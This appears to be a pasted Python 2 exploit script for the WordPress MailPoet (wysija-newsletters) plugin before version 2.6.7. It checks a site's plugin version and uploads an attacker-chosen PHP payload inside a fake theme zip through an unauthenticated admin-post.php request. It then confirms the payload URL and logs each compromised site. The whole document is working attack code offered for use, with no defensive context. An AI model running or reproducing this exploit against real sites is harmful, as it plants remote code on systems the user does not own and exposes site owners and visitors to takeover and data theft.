SHOW:
|
|
- or go back to the newest paste.
| 1 | #!/usr/bin/env python | |
| 2 | # -*- coding: utf-8 -*- | |
| 3 | # not coded by me | |
| 4 | ||
| 5 | from random import choice | |
| 6 | import string | |
| 7 | import sys | |
| 8 | import re | |
| 9 | from zipfile import ZipFile | |
| 10 | from StringIO import StringIO | |
| 11 | import requests | |
| 12 | from colors import red, green, blue # pip install ansicolors | |
| 13 | ||
| 14 | ||
| 15 | def version_compare(v1, v2): | |
| 16 | def normalize(v): | |
| 17 | return [int(x) for x in re.sub(r'(\.0+)*$', '', v).split(".")]
| |
| 18 | return cmp(normalize(v1), normalize(v2)) | |
| 19 | ||
| 20 | ||
| 21 | def create_zip_file(theme_name, payload_name, payload): | |
| 22 | files = {
| |
| 23 | "%s/%s" % (theme_name, 'style.css'): '', | |
| 24 | "%s/%s" % (theme_name, payload_name): payload | |
| 25 | } | |
| 26 | zip_file = StringIO() | |
| 27 | with ZipFile(zip_file, 'w') as zip: | |
| 28 | for path in files: | |
| 29 | zip.writestr(path, files[path]) | |
| 30 | zip_file.seek(0) | |
| 31 | return zip_file | |
| 32 | ||
| 33 | ||
| 34 | def check(url): | |
| 35 | readme_url = "%s/wp-content/plugins/wysija-newsletters/readme.txt" % url | |
| 36 | res = requests.get(readme_url, timeout=15, verify=False) | |
| 37 | if res.status_code == 200: | |
| 38 | match = re.search("stable tag: (.*)[\r\n]", res.text, re.I)
| |
| 39 | version = match.group(1) | |
| 40 | fun = green if version_compare(version, "2.6.7") < 0 else blue | |
| 41 | print fun("[?] found version: %s" % version)
| |
| 42 | return version_compare(version, "2.6.7") < 0 | |
| 43 | else: | |
| 44 | raise Exception("error getting version")
| |
| 45 | ||
| 46 | ||
| 47 | def exploit(url, payload_data): | |
| 48 | theme_name = '.tmp' # better to keep the chaos to one directory. | |
| 49 | payload_name = ''.join([choice(string.letters) for i in range(5)]) + ".php" | |
| 50 | zip_file = create_zip_file(theme_name, payload_name, payload_data) | |
| 51 | ||
| 52 | files = {'my-theme': ('%s.zip' % theme_name, zip_file, "application/x-zip-compressed")}
| |
| 53 | data = {
| |
| 54 | "action": "themeupload", | |
| 55 | "submitter": "Upload", | |
| 56 | "overwriteexistingtheme": "on" | |
| 57 | } | |
| 58 | ||
| 59 | target_url = "%s/wp-admin/admin-post.php?page=wysija_campaigns&action=themes" % url | |
| 60 | payload_url = "%s/%s/%s/%s" % (url, 'wp-content/uploads/wysija/themes', theme_name, payload_name) | |
| 61 | ||
| 62 | print blue("[?] attempting to upload zip (%s)..." % target_url)
| |
| 63 | # Don't rely on checking response, have observed some strange behaviour even with successful upload | |
| 64 | requests.post(target_url, files=files, data=data, verify=False, timeout=15) | |
| 65 | ||
| 66 | print blue("[?] checking upload (%s)..." % payload_url)
| |
| 67 | response = requests.head(payload_url, verify=False, timeout=15) | |
| 68 | if response.status_code == 200: | |
| 69 | print green("[+] found: %s" % payload_url)
| |
| 70 | return payload_url | |
| 71 | else: | |
| 72 | raise Exception("upload failed.")
| |
| 73 | ||
| 74 | ||
| 75 | if __name__ == "__main__": | |
| 76 | ||
| 77 | if len(sys.argv) > 2: | |
| 78 | payload = open(sys.argv[1]).read() | |
| 79 | wp_url = sys.argv[2] | |
| 80 | try: | |
| 81 | if check(wp_url): | |
| 82 | res = exploit(wp_url, payload) | |
| 83 | if res: | |
| 84 | with open("found-sija.log", "a") as log:
| |
| 85 | log.write("%s\n" % res)
| |
| 86 | except Exception as e: | |
| 87 | print red("[!] %s - %s" % (wp_url, e)) |